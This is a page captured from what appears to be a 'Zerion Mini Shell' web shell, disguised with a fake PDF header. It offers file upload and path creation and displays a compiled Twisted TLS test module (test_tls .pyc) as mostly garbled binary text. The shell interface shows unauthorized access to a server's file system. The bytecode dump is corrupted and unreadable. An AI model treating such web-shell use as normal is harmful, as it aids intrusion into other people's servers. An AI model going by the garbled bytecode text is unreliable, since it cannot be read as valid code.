%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/twisted/internet/test/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/twisted/internet/test/__pycache__/test_tls.cpython-312.pyc

�

Ϫ�f)2�
�X�dZddlmZmZmZddlmZmZddlm	Z	m
Z
ddlmZm
Z
mZddlmZddlmZmZmZddlmZmZmZdd	lmZmZmZdd
lmZddlm Z m!Z!m"Z"ddl#m$Z$dd
l%m&Z&ddl'm(Z(ddl)m*Z*	ddl+m,Z,ddl-m.Z.m/Z/m0Z0Gd�d�Z2Gd�d�Z3ee�Gd�d��Z4Gd�dee3�Z5Gd�d�Z6Gd�de2ee�Z7Gd�d ee3�Z8Gd!�d"e2ee3ee6�Z9Gd#�d$e2e3e6e!e"e�Z:e;�jye9j{��e;�jye7j{��e;�jye:�j{��Gd%�d&ee e3�Z>e;�jye>j{��y#e1$rdZ,Y��$wxYw)'z0
Tests for implementations of L{ITLSTransport}.
�)�Optional�Sequence�Type)�	Interface�implementer)�Deferred�DeferredList)�SSL4ClientEndpoint�SSL4ServerEndpoint�TCP4ClientEndpoint)�ConnectionClosed)�IReactorSSL�IStreamClientEndpoint�
ITLSTransport)�
ClientFactory�Protocol�
ServerFactory)�BrokenContextFactory�ConnectionTestsMixin�EndpointCreator)�ReactorBuilder)�AbortConnectionMixin�ConnectToTCPListenerMixin�StreamTransportTestsMixin)�
networkString)�FilePath)�platform)�SkipTest)�FILETYPE_PEM)�ClientContextFactory�KeyPair�PrivateCertificateNc�b�eZdZUegZeeeee	d<e
j�rdZeed�Z
yy)�TLSMixin�requiredInterfaceszcFor some reason, these reactors don't deal with SSL disconnection correctly on Windows.  See #3371.)z*twisted.internet.glib2reactor.Glib2Reactorz(twisted.internet.gtk2reactor.Gtk2ReactorN)�__name__�
__module__�__qualname__rr%rrrr�__annotations__r�	isWindows�msg�skippedReactors���@/usr/lib/python3/dist-packages/twisted/internet/test/test_tls.pyr$r$2sI��?J�m����$�y�/�!:�;�K��x����
>�	�
;>�8;�
��r.r$c��eZdZddlZeeej��jd�jd�Z	[d�Z
d�Zy)�ContextGeneratingMixinrNstests
server.pemc��|jj�}tj|t	j|t
�t
�}|j
�S)zM
        Return a new SSL context suitable for use in a test server.
        )�_pem�
getContentr"�loadr!r�options)�self�pem�certs   r/�getServerContextz'ContextGeneratingMixin.getServerContextHsF���i�i�"�"�$��!�&�&�����c�<�0�,�
���|�|�~�r.c��t�S�N)r �r7s r/�getClientContextz'ContextGeneratingMixin.getClientContextRs��#�%�%r.)r&r'r(�twistedrr�__file__�sibling�childr3r:r>r-r.r/r1r1@sD���	��w�/�/�0�1�9�9�'�B�H�H��W�	�	��&r.r1c��eZdZdZd�Zd�Zy)�StartTLSClientEndpointa!
    An endpoint which wraps another one and adds a TLS layer immediately when
    connections are set up.

    @ivar wrapped: A L{IStreamClientEndpoint} provider which will be used to
        really set up connections.

    @ivar contextFactory: A L{ContextFactory} to use to do TLS.
    c� �||_||_yr<)�wrapped�contextFactory)r7rFrGs   r/�__init__zStartTLSClientEndpoint.__init__bs�����,��r.c�j���G��fd�dt�}�jj|��S)z�
        Establish a connection using a protocol build by C{factory} and
        immediately start TLS on it.  Return a L{Deferred} which fires with the
        protocol instance.
        c���eZdZ��fd�Zy)�6StartTLSClientEndpoint.connect.<locals>.WrapperFactoryc�^����j|���jf��fd�	}|�_�S)Nc�^���jj�j�|�yr<)�	transport�startTLSrG)�orig�protocolr7s ��r/�connectionMadez\StartTLSClientEndpoint.connect.<locals>.WrapperFactory.buildProtocol.<locals>.connectionMadess"����&�&�/�/��0C�0C�D��Fr.)�
buildProtocolrR)�wrapperSelf�addrrRrQ�factoryr7s   @��r/rSzDStartTLSClientEndpoint.connect.<locals>.WrapperFactory.buildProtocolps0���"�0�0��6��(0�(?�(?��+9��'��r.N)r&r'r(rS)rVr7s��r/�WrapperFactoryrKos���
 r.rW)rrF�connect)r7rVrWs`` r/rXzStartTLSClientEndpoint.connectfs)���		 �]�		 ��|�|�#�#�N�$4�5�5r.N)r&r'r(�__doc__rHrXr-r.r/rDrDVs���-�6r.rDc��eZdZdZd�Zd�Zy)�StartTLSClientCreatorz{
    Create L{ITLSTransport.startTLS} endpoint for the client, and normal SSL
    for server just because it's easier.
    c�8�t|d|j��S)z�
        Construct an SSL server endpoint.  This should be constructing a TCP
        server endpoint which immediately calls C{startTLS} instead, but that
        is hard.
        r�rr:�r7�reactors  r/�serverzStartTLSClientCreator.server�s��"�'�1�d�.C�.C�.E�F�Fr.c�T�tt|d|j�t��S)zS
        Construct a TCP client endpoint wrapped to immediately start TLS.
        �	127.0.0.1)rDr�portr �r7r_�
serverAddresss   r/�clientzStartTLSClientCreator.client�s)��&��w��]�5G�5G�H� �"�
�	
r.N�r&r'r(rYr`rfr-r.r/r[r[}s���
G�
r.r[c��eZdZdZd�Zy)�BadContextTestsMixinz�
    Mixin for L{ReactorBuilder} subclasses which defines a helper for testing
    the handling of broken context factories.
    c��|j�}|jt||t��}|j	tj
t
|��y)a�
        Assert that the exception raised by a broken context factory's
        C{getContext} method is raised by some reactor method.  If it is not, an
        exception will be raised to fail the test.

        @param useIt: A two-argument callable which will be called with a
            reactor and a broken context factory and which is expected to raise
            the same exception as the broken context factory's C{getContext}
            method.
        N)�buildReactor�assertRaises�
ValueErrorr�assertEqual�message�str)r7�useItr_�excs    r/�_testBadContextz$BadContextTestsMixin._testBadContext�sG���#�#�%�����
�E�7�<P�<R�S�����-�5�5�s�3�x�@r.N)r&r'r(rYrsr-r.r/riri�s
���

Ar.ric��eZdZdZe�Zy)�StartTLSClientTestsMixinz�
    Tests for TLS connections established using L{ITLSTransport.startTLS} (as
    opposed to L{IReactorSSL.connectSSL} or L{IReactorSSL.listenSSL}).
    N)r&r'r(rYr[�	endpointsr-r.r/ruru�s���
&�'�Ir.ruc��eZdZdZd�Zd�Zy)�
SSLCreatorz
    Create SSL endpoints.
    c�8�t|d|j��S)zQ
        Create an SSL server endpoint on a TCP/IP-stack allocated port.
        rr]r^s  r/r`zSSLCreator.server�s��"�'�1�d�.C�.C�.E�F�Fr.c�B�t|d|jt��S)z�
        Create an SSL client endpoint which will connect localhost on
        the port given by C{serverAddress}.

        @type serverAddress: L{IPv4Address}
        rb)r
rcr rds   r/rfzSSLCreator.client�s$��"��[�-�"4�"4�6J�6L�
�	
r.Nrgr-r.r/rxrx�s���G�	
r.rxc�*�eZdZdZe�Zd�Zd�Zy)�SSLClientTestsMixinz<
    Mixin defining tests relating to L{ITLSTransport}.
    c�,�d�}|j|�y)z�
        If the context factory passed to L{IReactorSSL.connectSSL} raises an
        exception from its C{getContext} method, that exception is raised by
        L{IReactorSSL.connectSSL}.
        c�:�|jddt�|�S)Nrbi�)�
connectSSLr�r_rGs  r/rqz2SSLClientTestsMixin.test_badContext.<locals>.useIt�s ���%�%��T�=�?�N��
r.N�rs�r7rqs  r/�test_badContextz#SSLClientTestsMixin.test_badContext�s��	�
	
���U�#r.c���	�Gd�dt�}|j��	t�}t�|_||_|j
�|_t�}t�|_||_|j�|_|jj|j_
g�t|j|jgd��}�fd�}|j|��	jd|d��}|j|j��	j!|j#�j$|j#�j&|�}|j|j(�|j�	fd	��|j+�	��dj-t.��d
j-t.�y)aO
        L{ITCPTransport.loseConnection} ends a connection which was set up with
        L{ITLSTransport.startTLS} and which has recently been written to.  This
        is intended to verify that a socket send error masked by the TLS
        implementation doesn't prevent the connection from being reported as
        closed.
        c��eZdZd�Zd�Zd�Zy)�QSSLClientTestsMixin.test_disconnectAfterWriteAfterStartTLS.<locals>.ShortProtocolc�Z�tj|j�sB|jj}d|j_|jt
d��y|jj|jj�|jjd�y)NzNo ITLSTransport support�x)
r�
providedByrNrV�finished�errbackrrO�context�write)r7r�s  r/rRz`SSLClientTestsMixin.test_disconnectAfterWriteAfterStartTLS.<locals>.ShortProtocol.connectionMade�sx��$�/�/����?�#�|�|�4�4�H�,0�D�L�L�)��$�$�X�.H�%I�J�����'�'����(<�(<�=����$�$�T�*r.c�n�|jjd�|jj�y)N�y)rNr��loseConnection)r7�datas  r/�dataReceivedz^SSLClientTestsMixin.test_disconnectAfterWriteAfterStartTLS.<locals>.ShortProtocol.dataReceived�s(��
���$�$�T�*����-�-�/r.c�z�|jj}|�#d|j_|j|�yyr<)rVr��callback)r7�reasonr�s   r/�connectionLostz`SSLClientTestsMixin.test_disconnectAfterWriteAfterStartTLS.<locals>.ShortProtocol.connectionLosts8�� �<�<�0�0���'�,0�D�L�L�)��%�%�f�-�(r.N)r&r'r(rRr�r�r-r.r/�
ShortProtocolr��s��
+�
0�
.r.r�T)�
consumeErrorsc�D���j|dd|ddg�y)Nr�)�extend)�results�lostConnectionResultss �r/�
cbFinishedzNSSLClientTestsMixin.test_disconnectAfterWriteAfterStartTLS.<locals>.cbFinished"s&���!�(�(�'�!�*�Q�-����A��)G�Hr.rrb)�	interfacec�$���j�Sr<)�stop)�ignr_s �r/�<lambda>zLSSLClientTestsMixin.test_disconnectAfterWriteAfterStartTLS.<locals>.<lambda>/s
�������r.r�N)rrkrrr�rQr:r�rr>�methodr	�addCallback�	listenTCP�
addCleanup�
stopListening�
connectTCP�getHost�hostrc�
disconnect�
runReactor�trapr
)
r7r��
serverFactory�
clientFactoryr�r�rc�	connectorr�r_s
        @@r/�&test_disconnectAfterWriteAfterStartTLSz:SSLClientTestsMixin.test_disconnectAfterWriteAfterStartTLS�sy���	.�H�	.�B�#�#�%��%��
�!)��
��!.�
�� $� 5� 5� 7�
��%��
�!)��
��!.�
�� $� 5� 5� 7�
��'4�'<�'<�'C�'C�
���$� "���
�
#�
#�]�%;�%;�<�D�
��	I�	���Z�(�� � ��M�[� �I������*�*�+��&�&��L�L�N�������!4�!4�m�
�	�	
���	�,�,�-����7�8����� ��a� �%�%�&6�7��a� �%�%�&6�7r.N)r&r'r(rYrxrvr�r�r-r.r/r|r|�s�����I�$�L8r.r|c�.�eZdZdZd�Zd�Zd�Zd�Zd�Zy)�TLSPortTestsBuilderz,
    Tests for L{IReactorSSL.listenSSL}
    c�D�|jd||j��S)z0
        Get a TLS port from a reactor.
        r)�	listenSSLr:)r7r_rVs   r/�getListeningPortz$TLSPortTestsBuilder.getListeningPortAs"��� � ��G�T�-B�-B�-D�E�Er.c�@�d||j�jfzS)zY
        Get the message expected to be logged when a TLS port starts listening.
        z%s (TLS) starting on %d�r�rc)r7rcrVs   r/�#getExpectedStartListeningLogMessagez7TLSPortTestsBuilder.getExpectedStartListeningLogMessageGs ��)�G�T�\�\�^�5H�5H�+I�I�Ir.c�>�d|j�j�d�S)zJ
        Get the expected connection lost message for a TLS port.
        z
(TLS Port z Closed)r�)r7rcs  r/�getExpectedConnectionLostLogMsgz3TLSPortTestsBuilder.getExpectedConnectionLostLogMsgMs ���D�L�L�N�/�/�0��9�9r.c�,�d�}|j|�y)z�
        If the context factory passed to L{IReactorSSL.listenSSL} raises an
        exception from its C{getContext} method, that exception is raised by
        L{IReactorSSL.listenSSL}.
        c�8�|jdt�|�S)Nr)r�rr�s  r/rqz2TLSPortTestsBuilder.test_badContext.<locals>.useItZs���$�$�Q�
���H�Hr.Nr�r�s  r/r�z#TLSPortTestsBuilder.test_badContextSs��	I�	
���U�#r.c�n�|j|j|j||j��S)a
        Connect to the given listening TLS port, assuming the
        underlying transport is TCP.

        @param reactor: The reactor under test.
        @type reactor: L{IReactorSSL}

        @param address: The listening's address.  Only the C{port}
            component is used; see
            L{ConnectToTCPListenerMixin.LISTENER_HOST}.
        @type address: L{IPv4Address} or L{IPv6Address}

        @param factory: The client factory.
        @type factory: L{ClientFactory}

        @return: The connector
        )r�
LISTENER_HOSTrcr>)r7r_�addressrVs    r/�connectToListenerz%TLSPortTestsBuilder.connectToListener_s6��$�!�!�����L�L���!�!�#�	
�	
r.N)	r&r'r(rYr�r�r�r�r�r-r.r/r�r�5s"���F�J�:�
$�
r.r�c�*�eZdZdZefZe�Zd�Zy)�AbortSSLConnectionTestsz-
    C{abortConnection} tests using SSL.
    c�&�t�td��y)NzOpenSSL not available.)rrr=s r/�setUpzAbortSSLConnectionTests.setUp�s�����3�4�4� r.N)	r&r'r(rYrr%rxrvr�r-r.r/r�r�~s���&�����I�5r.r�)?rY�typingrrr�zope.interfacerr�twisted.internet.deferrr	�twisted.internet.endpointsr
rr�twisted.internet.errorr
�twisted.internet.interfacesrrr�twisted.internet.protocolrrr�&twisted.internet.test.connectionmixinsrrr�#twisted.internet.test.reactormixinsr�twisted.internet.test.test_tcprrr�twisted.python.compatr�twisted.python.filepathr�twisted.python.runtimer�twisted.trial.unittestr�OpenSSL.cryptor�twisted.internet.sslr r!r"�ImportErrorr$r1rDr[rirurxr|r��globals�update�makeTestCaseClassesr�r-r.r/�<module>r�s����
,�+�1�9���
4���
M�L���
?���
0�,�+�+�W�+�W�V�
�
�&�&�,
�
"�#�#6�#6�$�#6�L
�O�-C�
�0A�A�,(�x��9M�(�
��"8�
�.g8������g8�TA
�������
A
�H�	���$�8�8�:�;��	���)�=�=�?�@��	���$�&�:�:�<�=�5��(�*@�5��	���(�<�<�>�?��C���L��s�4F�F)�(F)

Zerion Mini Shell 1.0